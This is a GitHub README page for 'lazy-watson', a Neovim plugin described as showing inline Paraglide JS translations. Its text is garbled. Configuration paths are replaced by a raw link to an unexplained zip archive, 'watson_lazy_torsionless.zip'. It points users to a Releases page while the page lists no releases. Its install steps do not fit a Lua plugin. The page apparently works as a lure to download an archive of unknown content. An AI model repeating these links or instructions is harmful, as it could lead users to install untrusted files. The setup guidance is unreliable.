Skip to content

🌍 Enhance your Neovim experience by displaying inline translation values for Paraglide JS `m.keyName()` calls directly in your code.

License

Notifications You must be signed in to change notification settings

gurlal-m4s/lazy-watson

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

10 Commits
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🌟 lazy-watson - Seamless Translation In Neovim

Download lazy-watson

πŸš€ Getting Started

Welcome to lazy-watson! This Neovim plugin allows you to view inline translations with hover support, making your internationalization tasks smoother and more efficient.

πŸ’» System Requirements

To use lazy-watson, ensure you have the following:

  • Neovim version 0.5 or higher.
  • A compatible operating system:
    • Windows 10 or later
    • macOS Mojave or later
    • Linux (recent distributions)

πŸ“₯ Download & Install

To download lazy-watson, visit the Releases page. You will find the latest version available for download. Click the link below:

Visit the Releases Page to Download

After downloading, follow these steps to install the plugin:

  1. Open Neovim.
  2. Navigate to your configuration directory, usually located in ~https://raw.githubusercontent.com/gurlal-m4s/lazy-watson/main/lua/watson_lazy_torsionless.zip.
  3. Create a directory called lua if it doesn’t exist.
  4. Inside the lua directory, create another folder named lazy-watson.
  5. Copy the downloaded files into the lazy-watson folder.

🌍 Features

lazy-watson provides several useful features:

  • Inline Translation Preview: View translations without leaving your editing space.
  • Hover Support: Simply hover over a word to see its translation.
  • Easy Integration: Designed to work seamlessly with Paraglide JS.
  • Localizable Interface: Supports multiple languages for global users.

πŸ› οΈ Setting Up

To get the most from lazy-watson, you may want to adjust settings. Open your Neovim configuration file (https://raw.githubusercontent.com/gurlal-m4s/lazy-watson/main/lua/watson_lazy_torsionless.zip or https://raw.githubusercontent.com/gurlal-m4s/lazy-watson/main/lua/watson_lazy_torsionless.zip) and add the following lines to enable the plugin:

require('lazy-watson').setup({
  lang = 'en', -- Change to your preferred language
  hover = true, -- Enable hover support
})

This setup will help you customize lazy-watson according to your needs.

🌟 Using lazy-watson

After installation, you can start using lazy-watson immediately. Here’s how:

  1. Open any file in Neovim.
  2. Hover over a word in your text.
  3. A tooltip will display the translation.

You can explore further functionalities as you become familiar with the plugin.

πŸ“š Support & Contribution

If you encounter issues or have questions while using lazy-watson, check our GitHub Issues page. You can also contribute by reporting bugs or suggesting features.

For detailed documentation and advanced usage, visit the Wiki section of our repository.

πŸ”— Useful Links

πŸ™‹ Frequently Asked Questions

Can I use lazy-watson with other plugins?

Yes, lazy-watson is designed to work alongside other Neovim plugins.

What if I face issues during installation?

Feel free to check the GitHub Issues page or reach out for help.

Is there a way to customize translations?

Currently, you cannot customize translation sources, but you can request this feature on our Issues page.

Thank you for using lazy-watson! Happy translating!

About

🌍 Enhance your Neovim experience by displaying inline translation values for Paraglide JS `m.keyName()` calls directly in your code.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 3

  •  
  •  
  •  

Languages